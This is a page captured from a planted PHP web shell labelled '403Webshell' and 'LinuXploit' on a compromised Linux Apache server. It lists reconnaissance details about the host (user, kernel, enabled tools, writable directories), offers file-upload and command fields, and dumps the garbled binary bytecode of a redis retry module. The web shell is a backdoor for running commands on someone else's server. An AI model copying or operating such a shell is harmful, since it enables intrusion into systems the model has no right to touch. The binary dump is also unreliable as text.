403Webshell
Server IP : 127.0.1.1  /  Your IP : 216.73.216.17
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux dalsi.io 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/redis/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/redis/__pycache__/retry.cpython-312.pyc
�

���b��<�ddlZddlmZddlmZmZGd�d�Zy)�N)�sleep)�ConnectionError�TimeoutErrorc�F�eZdZdZeeejffd�Zde	fd�Z
d�Zy)�Retryz0Retry a specific number of times after a failurec�.�||_||_||_y)a'
        Initialize a `Retry` object with a `Backoff` object
        that retries a maximum of `retries` times.
        `retries` can be negative to retry forever.
        You can specify the types of supported errors which trigger
        a retry with the `supported_errors` parameter.
        N)�_backoff�_retries�_supported_errors)�self�backoff�retries�supported_errorss    �-/usr/lib/python3/dist-packages/redis/retry.py�__init__zRetry.__init__
s�� ��
���
�!1����specified_errorsc�b�tt|jt|�z��|_y)zM
        Updates the supported errors with the specified error types
        N)�tuple�setr)rrs  r�update_supported_errorszRetry.update_supported_errorss*��"'���&�&��/?�)@�@�A�"
��rc�6�|jj�d}		|�S#|j$rb}|dz
}||�|jdk\r||jkDr|�|jj	|�}|dkDrt|�Yd}~nd}~wwxYw�})a&
        Execute an operation that might fail and returns its result, or
        raise the exception that was thrown depending on the `Backoff` object.
        `do`: the operation to call. Expects no argument.
        `fail`: the failure handler, expects the last error that was thrown
        r�N)r	�resetrr
�computer)r�do�fail�failures�errorr
s      r�call_with_retryzRetry.call_with_retry#s���	
�
�
�������	
#��t����)�)�
#��A�
���U���=�=�A�%�(�T�]�]�*B��K��-�-�/�/��9���Q�;��'�N���
#��s�&�B�AB�BN)�__name__�
__module__�__qualname__�__doc__rr�socket�timeoutr�listrr �rrrrs+��:�*�<����H�	2�"
��
�#rr)r%�timer�redis.exceptionsrrrr(rr�<module>r+s��
��:�/#�/#r

Youez - 2016 - github.com/yon3zu
LinuXploit